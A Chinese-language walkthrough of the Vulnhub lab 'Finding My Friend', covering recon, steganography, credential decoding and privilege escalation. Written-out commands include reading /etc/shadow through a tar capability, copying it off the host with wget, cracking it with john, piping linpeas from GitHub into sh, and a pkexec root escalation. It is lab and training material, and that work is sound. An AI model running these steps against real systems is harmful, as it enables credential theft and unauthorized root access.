靶机搭建时可能的报错
靶机下载成功后在virtualbox中打开,启动虚拟机时报错virtualbox e_fail 0x80004005,这个错误code说明可能存在配置错误、操作系统不兼容、硬件问题等。该靶机属于串口路径错误。
我的解决办法是:靶机设置——》串口——》全部取消。
信息收集
主机发现
nmap 192.168.31.0/24 -Pn -T4
靶机ip:192.168.31.172
端口扫描
nmap 192.168.31.172 -A -p- -T4
开放端口有21,22,80。
目录扫描
访问80端口,是一段对话,内容是Rohit请求Admin找honey,Admin给出提示:KOKO是honey的朋友。
得到了三个人名,并提示找KOKO,目录扫描。
dirsearch -u http://192.168.31.172
访问/images,得到四张图片,经过测试没有图片隐写。
上字典。
gobuster dir -u http://192.168.31.172/friend -w directory-list-2.3-medium.txt -x html,php,js,jpg,png,txt
发现隐藏目录/friend。
访问/friend,是KOKO和Rohit的对话,KOKO指向John的note,并说:
笔记在哪儿,最初以为还有其他隐藏目录,一顿扫描浪费了时间。最后发现上面的对话已经指出提示就在这里,F12检查KOKO最后一句话,发现一段隐藏字符串。
NjMgNjEgNzAgNzQgNzUgNzIgNjUgM2EgNjggNzUgNmUgNzQgNjkgNmUgNjc=
base64解码得到一串16进制,经过16进制转换后得到capture:hunting,应该是用户名和密码。
63 61 70 74 75 72 65 3a 68 75 6e 74 69 6e 67
渗透
FTP登录
得到一组用户名和密码,靶机开启ssh和ftp服务,尝试远程连接。最终这组用户名密码成功连接ftp服务器。
批量下载ftp服务器上的所有文件mget *
,注意看看有没有隐藏文件。(mget *不会下载隐藏文件,又被坑了)。这里有四个文件:
flag1.txt
tryhackme{Th1s1sJustTh3St4rt}
note.txt提示有图片隐写。
I have an image but I’m not able to open it. Can you help me to open it?
getme是一段乱码,用16进制编辑器打开对比文件头和文件尾确认这是一张png图片,修改后缀名后图片仍然无法查看。
继续看.get.jpg,根据前面note.txt的提示直接上隐写工具steghide,提示需要密码。
steghide --extract -sf .get.jpg
stegseek可以解密并提取隐写内容。得到密码并提取隐藏信息到.get.jpg.out中。
stegseek .get.jpg
cat get.jpg.out
,摩斯密码,解密得到一组用户名密码JOHN:BOOGIEWOOGIE。
.--- --- .... -. ---... -... --- --- --. .. . .-- --- --- --. .. .
ssh登录
.get.jpg提取的用户名和密码用来远程连接ssh,注意要小写,即john:boogiewoogie
get flag2.txt,clue.txt给出提示要找出honey就读的大学,而parth知道。
好的,接下来就是需要到parth用户目录中找线索,发现没有查看权限。
需要拿到parth的权限才行,常规的提权方案走一遍,例如sudo -l,提示:Sorry, user john may not run sudo on findingmyfriend.
john没有sudo权限。那怎么办,当前还已知capture的密码,切换到capture用户,同样办法尝试提权也显示没有sudo权限。
parth
用尽手段不知道如何拿到parth权限,最后学到了一个capability提权。
capability:Linux内核2.1之后引入了capability概念,这个机制的目的是分割root用户的权限,普通用户也可以做root用户才能完成的操作。在执行特权操作时,如果线程的有效身份不是root,就检查其是否具有该特权操作的capabilities,以此决定是否可以执行特权操作。
一些常见的特权操作及其对应的capability:
capability名称 | 描述 |
---|---|
CAP_CHOWN | 修改文件所有者的权限 |
CAP_FOWNER | 忽略文件属主ID必须和进程用户ID相匹配的限制 |
CAP_DAC_READ_SEARCH | 忽略文件读及目录搜索的DAC访问限制 |
CAP_SETUID | 允许改变进程的UID |
可以通过以下指令搜索设置了capabilities的可执行文件
getcap -r / 2>/dev/null
发现tar命令有cap_dac_read_search权限。cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用这个特性我们可以读取系统中的敏感信息。
利用tar查看敏感文件内容,压缩/etc/shadow到shadow.tar中,通过破解shadow获取parth用户的密码。
cd /tmp
/etc/fonts/tar -cvf shadow.tar /etc/shadow
开启简易http服务,攻击下载shadow.tar。
# 靶机
python3 -m http.server
# 攻击机
wget http://192.168.31.172:8000/shadow.tar
下载完成后解压缩。
tar -xvf shadow.tar
使用john破解shadow文件。得到parth:johnnydepp
john shadow -w=/usr/share/wordlists/rockyou.txt
get flag3.txt,还有提示指向parth的家目录。
提权-pkexec
sudo -l
,/home/honey/.../backup.py,利用不了。
使用LinPEAS枚举在Linux系统上提升权限的所有可能。可以使用curl命令直接从GitHub执行。
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-
awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
运行后重点关注红字黄底部分。经过百度搜索知道可能是pkexec提权。
pkexec提权的使用前提:
-
用户在sudo组中。
-
知道用户密码。
当前知道用户密码,需要确认用户是否在sudo组中,id命令查看,符合。
pkexec提权步骤
-
先开两个parth终端。
-
终端1查看当前终端号,
echo $$
,。 -
终端2用pkttyagent代理终端,
pkttyagent --process 终端号
。 -
终端1执行提权命令,
pkexec su
。 -
终端2选择用户,输入用户密码。
按步骤执行后即提权成功。
get flag4.txt!
标签:tar,get,parth,提权,Vulnhub,Finding,shadow,txt,My From: https://blog.csdn.net/Aukum/article/details/142002672